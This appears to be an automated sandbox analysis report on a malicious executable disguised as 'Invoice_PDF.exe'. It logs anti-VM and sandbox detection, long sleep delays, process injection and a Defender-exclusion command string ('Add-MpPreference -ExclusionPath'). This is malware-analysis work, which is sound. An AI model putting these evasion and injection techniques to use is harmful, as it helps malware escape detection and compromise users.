Source: Invoice_PDF.exe, ObjectHolderList/ObjectHolderListGame.cs	.Net Code: ObjectIdentifier System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 0.2.Invoice_PDF.exe.b90000.0.unpack, ObjectHolderList/ObjectHolderListGame.cs	.Net Code: ObjectIdentifier System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 0.0.Invoice_PDF.exe.b90000.0.unpack, ObjectHolderList/ObjectHolderListGame.cs	.Net Code: ObjectIdentifier System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 3.2.Invoice_PDF.exe.ed0000.1.unpack, ObjectHolderList/ObjectHolderListGame.cs	.Net Code: ObjectIdentifier System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 3.0.Invoice_PDF.exe.ed0000.11.unpack, ObjectHolderList/ObjectHolderListGame.cs	.Net Code: ObjectIdentifier System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 3.0.Invoice_PDF.exe.ed0000.5.unpack, ObjectHolderList/ObjectHolderListGame.cs	.Net Code: ObjectIdentifier System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 3.0.Invoice_PDF.exe.ed0000.13.unpack, ObjectHolderList/ObjectHolderListGame.cs	.Net Code: ObjectIdentifier System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 3.0.Invoice_PDF.exe.ed0000.9.unpack, ObjectHolderList/ObjectHolderListGame.cs	.Net Code: ObjectIdentifier System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 3.0.Invoice_PDF.exe.ed0000.1.unpack, ObjectHolderList/ObjectHolderListGame.cs	.Net Code: ObjectIdentifier System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 3.0.Invoice_PDF.exe.ed0000.7.unpack, ObjectHolderList/ObjectHolderListGame.cs	.Net Code: ObjectIdentifier System.Reflection.Assembly System.AppDomain::Load(System.Byte[])

Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 0_2_00B972C2 push esi; iretd
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 0_2_00B95076 push bx; ret
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 0_2_02E28748 push 8802EC9Eh; iretd
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 0_2_02E21C67 push ebx; iretd
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 0_2_02E21C7C push ebx; iretd
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 0_2_09143267 pushad ; ret
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 0_2_0922422D push FFFFFF8Bh; iretd
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 3_2_00ED72C2 push esi; iretd
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 3_2_00ED5076 push bx; ret
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 3_2_013997B0 pushad ; ret
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 3_2_01769460 push ss; retf
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 3_2_017ECF71 push esp; iretd

Source: initial sample

Static PE information: section name: .text entropy: 7.91118342624

Source: C:\Users\user\Desktop\Invoice_PDF.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match	File source: 0.2.Invoice_PDF.exe.304a634.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.276354246.0000000003021000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Invoice_PDF.exe PID: 6140, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: Invoice_PDF.exe, 00000000.00000002.276354246.0000000003021000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL
Source: Invoice_PDF.exe, 00000000.00000002.276354246.0000000003021000.00000004.00000001.sdmp	Binary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Show sources

Source: C:\Users\user\Desktop\Invoice_PDF.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Show sources

Source: C:\Users\user\Desktop\Invoice_PDF.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\Invoice_PDF.exe TID: 5136	Thread sleep time: -35736s >= -30000s
Source: C:\Users\user\Desktop\Invoice_PDF.exe TID: 2564	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\Desktop\Invoice_PDF.exe TID: 6460	Thread sleep time: -20291418481080494s >= -30000s
Source: C:\Users\user\Desktop\Invoice_PDF.exe TID: 6464	Thread sleep count: 1903 > 30
Source: C:\Users\user\Desktop\Invoice_PDF.exe TID: 6464	Thread sleep count: 7944 > 30

Source: C:\Users\user\Desktop\Invoice_PDF.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\Invoice_PDF.exe	Window / User API: threadDelayed 1903
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Window / User API: threadDelayed 7944

Source: C:\Users\user\Desktop\Invoice_PDF.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\Invoice_PDF.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Invoice_PDF.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Invoice_PDF.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\Invoice_PDF.exe	Thread delayed: delay time: 35736
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Thread delayed: delay time: 922337203685477

Source: Invoice_PDF.exe, 00000000.00000002.276354246.0000000003021000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA IIBAdd-MpPreference -ExclusionPath "
Source: Invoice_PDF.exe, 00000000.00000002.276354246.0000000003021000.00000004.00000001.sdmp	Binary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: Invoice_PDF.exe, 00000000.00000002.276354246.0000000003021000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: Invoice_PDF.exe, 00000000.00000002.276354246.0000000003021000.00000004.00000001.sdmp	Binary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools

Source: C:\Users\user\Desktop\Invoice_PDF.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\Invoice_PDF.exe

Code function: 3_2_01399DF0 LdrInitializeThunk,

Source: C:\Users\user\Desktop\Invoice_PDF.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion:

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\Invoice_PDF.exe

Memory written: C:\Users\user\Desktop\Invoice_PDF.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\Invoice_PDF.exe

Process created: C:\Users\user\Desktop\Invoice_PDF.exe C:\Users\user\Desktop\Invoice_PDF.exe

Source: Invoice_PDF.exe, 00000003.00000002.524833112.0000000001CA0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: Invoice_PDF.exe, 00000003.00000002.524833112.0000000001CA0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: Invoice_PDF.exe, 00000003.00000002.524833112.0000000001CA0000.00000002.00020000.sdmp	Binary or memory string: SProgram Managerl
Source: Invoice_PDF.exe, 00000003.00000002.524833112.0000000001CA0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd,
Source: Invoice_PDF.exe, 00000003.00000002.524833112.0000000001CA0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Users\user\Desktop\Invoice_PDF.exe VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation
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Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation
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Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation
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Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation
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Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation
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Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation
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Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation
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Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation
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Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation
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Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation
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Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation
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Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation
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Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation
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Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation
